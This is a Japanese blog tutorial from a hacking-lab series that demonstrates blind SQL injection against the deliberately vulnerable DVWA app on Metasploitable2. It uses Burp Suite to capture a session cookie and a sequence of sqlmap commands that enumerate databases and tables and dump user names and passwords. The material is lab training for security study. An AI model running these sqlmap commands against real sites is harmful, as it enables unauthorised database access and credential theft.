はじめに
「ハッキング・ラボのつくりかた」p.612-623を参考にして、KaliLinux2022.1で検証してみる記事です。
DVWAを利用していますが、同書のやり方通りでは、うまく行かなかったので、Metasploitable2のDVWAを利用してます。(詳細は前回を参照のこと)
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
ブラインドSQLインジェクション
応答ページから情報を直接奪わずに、SQLに対しての応答ページの違いから情報を奪う攻撃。
この攻撃では、BurpSuiteとsqlmapというツールを使用する。
DVWAで実験する
DVWAのページのメニュー「SQL Injection(Blind)」をクリックする。
事前に、いろいろな数値、文字値を入れて、挙動を確かめる。
Firefoxのプロキシ設定
URL入力欄に"about:preferences"と入力して、一番下の「ネットワーク設定」の「接続設定」をクリックする。「手動でプロキシを設定する」を選択して、全ての欄を"127.0.0.1"と設定、ポート番号は"9500"と設定する。
Burpの起動
ランチャーから「BurpSuite」を起動する。
メッセージ画面は、「temporary project」→「Use Burp defaults」と選択する。
メイン画面が表示されることを確認。
メイン画面
「Proxy」タブの「Options」タブからBurpのポート番号を8080から9500に変更する。
HTTP要求の補足
「Proxy」タブの「Intercept」タブを選択する。
Intercept内では、http通信を一時停止させて、内容を確認・編集させたり、通信を遮断させたりする。
「Intercept is on」にしておいて、FirefoxのURL欄に"http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"と入力してアクセスする。
http要求を補足できたら、「Action」ボタンから「Copy to file」を選んで、任意のフォルダにテキストファイルとして保存する。保存が完了したら、「Intercept is off」にする。
保存したテキストファイル"dvwa_sql_header.txt"のCookieの情報を控えておく。
GET /dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit HTTP/1.1
Host: 192.168.56.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54
Upgrade-Insecure-Requests: 1
Cookie: security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54
sqlmapを実行する
URLとcookieを指定してsqlmapを実行する
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54"
上記のコマンドを実行すると、処理の途中でいくつか質問される。
GET parameter 'id' appear to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'.Do you want to skip test payloads specific for other DBMSes? [y/n]
私訳:「GET パラメータ 'id' は 'MySQL >= 5.0.12 であり、 時間ベースのブラインド (クエリ SLEEP)'の脆弱性のように見えます。バックエンドの DBMS は 'MySQL' のようです。他のDBMSに固有のテストペイロードをスキップしますか?。」
MySQLに対して攻撃を掛けるので、yを選択。
for the remaining tests,do you want to include all tests for 'MySQL' extending provided level(1) and risk(1) values?
私訳:「残りテストについては、提供されたlevel(1)およびrisk(1)の値を拡張する’MySQL’のすべてのテストを含めますか?」
正直、意味がよくわからなかった。「all tests」とあるので、とりあえず yを選択した。
GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable.Do you want to keep testing the others(if any)?
私訳:「Getパラメータ'id'は、 'Generic UNION query (NULL) - 1 to 20 columns'。 インジェクタブルなGETパラメタ'id'は脆弱性があります。もし、他に何かしらの脆弱性があれば、テストを継続しますか?」
これも、よくわからない。とりあえず、yを選択した。
it is recommanded to perform only basic UNION tests if there is not at least one other (potential) technique found.Do you want to reduce the number of requests?
私訳:「もし、少なくとも1つの他の(潜在的な)テクニックが見つからない場合、basicUNIONテストのみ実行することをオススメします。リクエストの数を削減しますか?」
yを選択した。
結果、同書p.620にある出力結果とは違う出力結果が出た。
でも、このまま次に進む。
--dbsオプションを指定して、DBを表示する
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" --dbs
--tablesオプションを指定して、dvwaのDB内のテーブルを表示する
目的のDBであるdvwaのテーブルを取得する。
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa --tables
-Dオプションで、データベースを指定した。
dvwaDB内のテーブル一覧が表示される。
--columnオプションを指定して、usersテーブルの列名を表示する
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa -T users --column
-Tオプションで、テーブルを指定した。
usersテーブルの列名が表示される。
パスワードを解析する
sqlmapで--dumpオプションをつけることで、パスワード解析が可能。途中の質問されるが、すべてEnterもしくはYで答える。
sqlmap -u "http://192.168.56.5/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=bca57248c182837fff41f804c8f57d54" -D dvwa -T users -C user,password --dump
-Cオプションで、カラム(列)を指定した。
sqlmapコマンドを実行するなかで、期待通りにDB、テーブル、カラムが出力されないことがありました。そういった時は、Firefoxのdvwaへのアクセスがタイムアウトしているようなので、再度dwvaへログインし直すとうまく動きました。
おわり
今回から、事前に注意事項を出すことにしました。既出の記事を編集して、注意事項を出します。
sqlmapコマンドの質問攻めには難渋しました。なにぶん、はじめてなもので。